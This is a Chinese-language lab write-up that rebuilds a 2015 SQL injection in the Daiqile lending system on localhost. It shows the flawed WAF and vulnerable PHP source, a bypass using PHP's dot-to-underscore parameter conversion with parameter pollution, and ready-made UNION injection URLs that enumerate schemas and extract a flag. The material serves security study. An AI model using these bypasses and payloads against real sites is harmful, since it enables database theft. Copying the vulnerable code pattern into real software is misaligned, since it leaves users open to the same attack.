君衍.
- 一、环境介绍
- 1、第一道WAF
- 2、第二道WAF
- 二、环境部署
- 1、模拟源码
- 2、连接数据库源码
- 3、数据库创建
- 4、测试
- 三、源码分析
- 1、模拟WAF
- 2、注入思路
- 3、PHP下划线特性
- 4、完成假设
- 四、联合查询注入
- 1、测试回显字段
- 2、爆出库名
- 3、爆出表名
- 4、爆出表下的列名
- 4、爆出flag
一、环境介绍
本篇模拟2015年爆出的贷齐乐SQL注入的漏洞:贷齐乐系统多处SQL注入漏洞
该漏洞基于错误的WAF引发的,同SQLi靶场中的29关到31关类似,但该漏洞是错误的WAF引起的,而29关到31关则是HTTP参数污染引起的。还是有些不同之处的,而这里是HPP全局参数污染以及PHP的一个特性。
1、第一道WAF
当初在这个漏洞被爆出时,daiqile使用了变态WAF来进行防御,可以说已经影响了用户的正常使用,之所以这样其实还是因为开发方面的安全意识差,从而导致很多漏洞被批露。下面我们分析下当年daiqile使用了哪些waf进行过滤:
第一层WAF: 包含点,单引号,星号等等,一旦包含直接删除非法字符,然后又注释掉了一系列东西,这是第一个WAF防御。
将GET获取到的所有值来进行判断是否含还有password,如果没有,那么就执行第一层WAF来进行检测,GET传参不行,单引号也是闭合不了的。第二段则是将POST也进行了循环,然后进行过滤,执行第一层WAF,第三段则是REQUEST同样是进行循环然后过滤掉了。
class sqlin {function dowith_sql($str) {$check= eregi('select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile', $str);if($check){echo "非法字符!";exit();}$newstr="";while($newstr!=$str){$newstr=$str;$str = str_replace("script", "", $str);$str = str_replace("execute", "", $str);$str = str_replace("update", "", $str);//$str = str_replace("count", "", $str);//注释掉对count的过滤,不然account这样的参数会被截断$str = str_replace("master", "", $str);$str = str_replace("truncate", "", $str);$str = str_replace("declare", "", $str);$str = str_replace("select", "", $str);$str = str_replace("create", "", $str);$str = str_replace("delete", "", $str);$str = str_replace("insert", "", $str);$str = str_replace("\'", "", $str);}return $str;}//aticle()防SQL注入函数//php教程function sqlin() {foreach ($_GET as $key => $value) {if ($key != "content"&&strstr($key, "password") == false) {$_GET[$key] = $this->dowith_sql($value);}}foreach ($_POST as $key => $value) {[email protected]_put_contents('wxy123123.txt', date('Ymd His') . '提交url拼接 '.$key."|".(strstr($key, "password") == false), FILE_APPEND);if ($key != "content"&&strstr($key, "password") == false) {$_POST[$key] = $this->dowith_sql($value);}}foreach ($_REQUEST as $key => $value) {if ($key != "content"&&strstr($key, "password") == false) {$_REQUEST[$key] = $this->dowith_sql($value);}}}
}
GET/POST/REQUEST
三个变量,都会经过这个正则:select\|insert\|update\|delete\|'\|/\*\|\*\|\.\./\|\./\|union\|into\|load\_file\|outfile
,一旦遇到select,包括单引号,包括注释符,就立即exit整个流程。
2、第二道WAF
以上还都是第一道WAF,下面我们看第二道WAF:
function safe_str($str){if(!get_magic_quotes_gpc()) {if( is_array($str) ) {foreach($str as $key => $value) {$str[$key] = safe_str($value);}}else{$str = addslashes($str);}}return $str;
}
这里我们可以看到里面首先进行了魔术开关的判断,然后就是判断是不是数组,如果是数组,那么循环进行safe_str
函数循环判断,如果不是数组,那么直接执行addslashes
进行过滤。
function dhtmlspecialchars($string) {if(is_array($string)) {foreach($string as $key => $val) {$string[$key] = dhtmlspecialchars($val);}} else {$string = str_replace(array('&', '"', '<', '>','(',')'), array('&', '"', '<', '>','(',')'), $string);if(strpos($string, '&#') !== false) {$string = preg_replace('/&((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);}}return $string;
}
这个函数关键点在于括号替换了,替换为中文的括号,剩下的便是双引号等等字符被转义,这里我们报错注入直接用不了了。
foreach ($_GET as $key => $value) {$_GET[$key] = safe_str($value);$_GET[$key] = dhtmlspecialchars($value);
}
foreach ($_POST as $key => $value) {$_POST[$key] = safe_str($value);$_GET[$key] = dhtmlspecialchars($value);
}
foreach ($_REQUEST as $key => $value) {$_REQUEST[$key] = safe_str($value);$_REQUEST[$key] = dhtmlspecialchars($value);
}
foreach ($_COOKIE as $key => $value) {$_COOKIE[$key] = safe_str($value);$_GET[$key] = dhtmlspecialchars($value);
}
剩下的便是GET、POST、REQUEST、COOKIE
传参方式全部进入这两个函数进行过滤,从而达到防御的效果,这里我们不能写闭合,不能写括号,这里我们再注入已经几乎没办法进行注入了。
所以我们想要完成注入,肯定就必须绕过这两个WAF。
二、环境部署
本漏洞由于是2015年爆出的,所以这里源码使用的PHP版本不支持7版本,这里我们可以使用PHP5.4.45版本,只需小皮进行下载更改即可:
源码在下面放了,一共两段源码,一段是模拟WAF的源码,另一段是SQL连接的源码。
这里我使用的环境为PHP 5.4.45版本,使用Apache中间件,MySQL使用5.7.26版本:
1、模拟源码
<?php
header("Content-type: text/html; charset=utf-8");
require 'db.inc.php';function dhtmlspecialchars($string) {if (is_array($string)) {foreach ($string as $key => $val) {$string[$key] = dhtmlspecialchars($val);}}else {$string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&', '"', '<', '>', '(', ')'), $string);if (strpos($string, '&#') !== false) {$string = preg_replace('/&((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);}}return $string;}function dowith_sql($str) {$check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);if ($check) {echo "非法字符!";exit();}return $str;}//经过第一道WAF处理foreach ($_REQUEST as $key => $value) {$_REQUEST[$key] = dowith_sql($value);}// 经过第二个WAF处理$request_uri = explode("?", $_SERVER['REQUEST_URI']);if (isset($request_uri[1])) {$rewrite_url = explode("&", $request_uri[1]);foreach ($rewrite_url as $key => $value) {$_value = explode("=", $value);if (isset($_value[1])) {$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));}}}// 业务处理if (isset($_REQUEST['submit'])) {$user_id = $_REQUEST['i_d'];$sql = "select * from ctf.users where id=$user_id";$result = mysql_query($sql);while($row = mysql_fetch_array($result)){echo "<tr>";echo "<td>" . $row['name'] . "</td>";echo "</tr>";}}
?>
2、连接数据库源码
<?php
$mysql_server_name="localhost";
$mysql_database="ctf"; /** 数据库的名称 */
$mysql_username="root"; /** MySQL数据库用户名 */
$mysql_password="123456"; /** MySQL数据库密码 */
$conn = mysql_connect($mysql_server_name, $mysql_username,$mysql_password,'utf-8');
?>
这里我们使用数据库名为ctf,数据库用户名以及密码使用小皮的数据库用户名以及密码。
3、数据库创建
这里我们需要自己创建数据库以及表名,首先我们创建数据库:
CREATE DATABASE ctf;
创建表名:
CREATE TABLE `users` (`Id` int(11) NOT NULL AUTO_INCREMENT,`name` varchar(255) DEFAULT NULL,`pass` varchar(255) DEFAULT NULL,`flag` varchar(255) DEFAULT NULL,PRIMARY KEY (`Id`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8
添加数据(flag):
INSERT INTO `users` (`name`, `pass`, `flag`) VALUES ('admin', 'qwer!@#zxca', 'hrctf{R3qu3st_Is_1nterEst1ng}');
以上就是创建数据库、表以及数据的操作,最终即可看到:
SELECT * FROM users;
同ctf比赛一样,最终拿下这个flag即为成功。
4、测试
传入1以及单引号给id,即可看到回显结果显示非法字符:
http://127.0.0.1/daiqile/index.php/?id=1'
而直接访问页面即为空白,这里并没有什么前端代码。只是来模拟错误WAF引起的SQL注入漏洞。
三、源码分析
<?php
// 设置 HTTP 头部,指定内容类型为 text/html,字符集为 utf-8
header("Content-type: text/html; charset=utf-8");
// 引入数据库配置文件
require 'db.inc.php';
// 定义函数 dhtmlspecialchars,用于过滤 HTML 特殊字符
function dhtmlspecialchars($string) {if (is_array($string)) {// 如果 $string 是数组,递归调用 dhtmlspecialchars 函数处理数组元素foreach ($string as $key => $val) {$string[$key] = dhtmlspecialchars($val);}} else {// 如果 $string 不是数组,替换 HTML 特殊字符为对应的转义序列$string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&', '"', '<', '>', '(', ')'), $string);// 检查字符串中是否包含 HTML 实体编码,如果包含,将其还原为对应字符if (strpos($string, '&#') !== false) {$string = preg_replace('/&((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);}}return $string;
}
// 定义函数 dowith_sql,用于检查 SQL 注入攻击
function dowith_sql($str) {// 使用正则表达式检查字符串是否包含 SQL 注入关键词$check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);if ($check) {// 如果检查到 SQL 注入关键词,输出警告信息并终止程序执行echo "非法字符!";exit();}return $str;
}
// 遍历 $_REQUEST 数组,对用户输入的数据进行 SQL 注入检查和 HTML 特殊字符过滤
foreach ($_REQUEST as $key => $value) {$_REQUEST[$key] = dowith_sql($value);
}
// 解析请求 URI,获取查询参数,并对参数进行 HTML 特殊字符过滤和 SQL 注入检查
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
if (isset($request_uri[1])) {$rewrite_url = explode("&", $request_uri[1]);foreach ($rewrite_url as $key => $value) {$_value = explode("=", $value);if (isset($_value[1])) {$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));}}
}
// 如果提交按钮被点击,则执行以下代码
if (isset($_REQUEST['submit'])) {// 获取用户输入的用户 ID$user_id = $_REQUEST['i_d'];// 构造 SQL 查询语句,查询用户表中 ID 匹配用户输入的用户 ID 的记录$sql = "select * from ctf.users where id=$user_id";// 执行 SQL 查询$result = mysql_query($sql);// 遍历查询结果,输出用户信息while($row = mysql_fetch_array($result)) {echo "<tr>";echo "<td>" . $row['name'] . "</td>";echo "</tr>";}
}
?>
1、模拟WAF
所以我们这里几乎模拟了真实的场景:
- 第一道WAF:
foreach ($_REQUEST as $key => $value) {$_REQUEST[$key] = dowith_sql($value);
}
这里调用了dowith_sql
函数,相当于过滤了select、union等一些关键字。
- 第二道WAF
$request_uri = explode("?", $_SERVER['REQUEST_URI']);if (isset($request_uri[1])) {$rewrite_url = explode("&", $request_uri[1]);foreach ($rewrite_url as $key => $value) {$_value = explode("=", $value);if (isset($_value[1])) {$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));}}}
这道WAF主要是过滤了括号等一些恶意字符,但是关键掉便在于第二道WAF的这段代码。
我们从第一句开始看:
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
我们可以模拟来看下:
<?php
print_r($_SERVER['REQUEST_URI']);
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
echo "<pre>";
var_dump($request_uri);
这里我们传入:
http://127.0.0.1/daiqile/demo.php?id=1&username=2&password=3
即可看到:
原本$_SERVER['REQUEST_URI']
传入的以及之后输出的会发现主要是进行了一个使用问号来进行的分割,分割为了两个数组,数组0是路径uri,数组1即为传入的参数。而这便是explode
的作用:
然后我们继续往下看会发现进行了一个判断,数组1是否存在,在我们这里刚才传入的肯定是存在的,所以我们继续修改代码,往下看:
<?php
print_r($_SERVER['REQUEST_URI']);
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
if (isset($request_uri[1])) {$rewrite_url = explode("&", $request_uri[1]);echo "<pre>";var_dump($request_uri);foreach ($rewrite_url as $key => $value) {$_value = explode("=", $value);if (isset($_value[1])) {$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));}}
}
当然我们这都可以猜到,$rewrite_url
又是通过&将其分割为数组:
分割开后我们可以看到又使用等号进行分割:
<?php
print_r($_SERVER['REQUEST_URI']);
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
if (isset($request_uri[1])) {$rewrite_url = explode("&", $request_uri[1]);foreach ($rewrite_url as $key => $value) {$_value = explode("=", $value);echo "<pre>";var_dump($_value);if (isset($_value[1])) {$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));}}
}
可以看到这个value1就是我们传入的值,然后将我们的值传入到dhtmlspecialchars
函数中进行检测替换。最后我们可以看到将$_SERVER['REQUEST_URI']
中的字符覆盖到了$_REQUEST[$_value[0]]
中。
2、注入思路
我们从第二道WAF那看不到什么大的问题,但是如果我们结合第一道WAF就可以看到第二道WAF其实就是第一道WAF执行完之后进行执行的。
所以,我们得思考下如果我们有一种方法让第一道WAF检测不到恶意字符,再通过第二道WAF的覆盖,从而将恶意字符传入到$REQUEST
中,其实也就可以绕过WAF,完成我们的注入了。
找好了思路,那么我们就得想办法找到这个方法,这个想法之前我们说了要让第一道WAF找不到恶意字符,那么我们就得再$REQUET
中不得有恶意字符。其二便是$_SERVER可以有恶意字符,但是必须过我们的第二道WAF,然后再REQUEST
接收。
既然上面我们从绕过WAF变为了如何让第一道WAF检测不到恶意字符,那么我们又得想一个办法。
让第一道WAF检测不到恶意字符的思路便是,在第一道WAF进行检测时,检测为2,但是在覆盖REQUEST
时候使它最终拿到1便可完成第一道WAF的绕过。
3、PHP下划线特性
这里我们需要了解PHP的一个小特性,那就是自身在进行解析的时候,如果参数中含有” “、”.”、”[“
这几个字符,那么会将他们转换为下划线。
我们可以做个测试:
<?php
echo $_GET['i_d'];
然后我们传入:
http://127.0.0.1/daiqile/demo.php?i_d=1
http://127.0.0.1/daiqile/demo.php?i.d=1
所以我们可以利用这个特性,让第一道WAF解析一个正常的参数,第二道WAF来解析另一个恶意字符的参数从而完成覆盖注入。
假设我们传入的请求是
/index.php?user_id=1&user.id=2
,PHP就会将user.id
转换为user_id
,请求也就变为了:/index.php?user_id=1&user_id=2
,所以第一道WAF拿的便是2,可是$_SERVER['REQUEST_URI']
中,user_id
和user.id
是两个不同的参数,所以最后覆盖的是否我们拿到的确实1。
上面这个假设也就绕过了WAF1,插入数据库的即为1。
4、完成假设
我们这里就实施下我们的思路,首先我们传入的参数为:
http://127.0.0.1/daiqile/index.php/?i_d=bad'&i.d=111&submit=1
我们想要达到的效果便是:
- 1、第一道WAF拿到传入的111,当然,我们将另一个参数设置为bad’,加了单引号,如果不成功肯定是报错的。
- 2、我们要让第二道WAF拿到bad’,因为单引号过滤在第一道WAF处,所以不会报错。
上面便是我们想要的结果,下面我们更改源码来进行测试查看两个WAF分别传入的值:
- 第一道WAF:
- 第二道WAF:
我们可以看到我们的假设是成立的,最终都使他们拿到了我们想要的值。所以我们下面就开始注入。
四、联合查询注入
这里由于我们不能使用括号,所以优先使用联合查询进行注入:
(这里我们使用注释代替空格)
1、测试回显字段
http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,2,3,4&i.d=1&submit=1
我们可以看到是第二个字段进行的回显,所以我们就在第二个字段进行注入。
2、爆出库名
http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,table_schema,3,4/**/from/**/information_schema.tables&i.d=1&submit=1
我们可以看到这里就将所有的数据库名注入了出来,当然,我们也可以使用limit来一个一个观察:
http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,table_schema,3,4/**/from/**/information_schema.tables/**/limit/**/0,1&i.d=1&submit=1
一般在比赛中是一个数据库即为ctf,假设我们这里找到了数据库,下面我们要查看数据库下的所有表名。
3、爆出表名
http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,table_name,3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/0x637466/**/limit/**/0,1&i.d=1&submit=1
这里由于源码中WAF使用了等号截断,所以我们这里使用like代替了等号,同时传入数据库中的内容使用十六进制进行了替换:
4、爆出表下的列名
我们可以直接进行查询,但是无法使用group_concat连接函数进行分割:
http://127.0.0.1/daiqile/index.php/?&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273&i.d=1&submit=1
所以这里我们也可以使用limit来进行查询:
http://127.0.0.1/daiqile/index.php/?&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/0,1&i.d=1&submit=1
http://127.0.0.1/daiqile/index.php/?&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/1,1&i.d=1&submit=1
http://127.0.0.1/daiqile/index.php/?&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/2,1&i.d=1&submit=1
http://127.0.0.1/daiqile/index.php/?&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/3,1&i.d=1&submit=1
可以看到有个flag字段,最后我们查询即可。
4、爆出flag
http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,flag,3,4/**/from/**/ctf.users&i.d=1&submit=1
到这里我们的贷齐乐错误的WAF引起的SQL漏洞复现完毕,总结下就几个点:
- 1、hpp php 只接收同名参数的最后一个,这个也涉及hpp全局参数污染。
- 2、php中会将get传参中的key中的.转为_
- 3、
$_REQUEST
遵循php接收方式,i_d&i.d
中的最后一个参数的转换为下划线然后接收,所以我们的正常代码放在第二个参数,waf失效。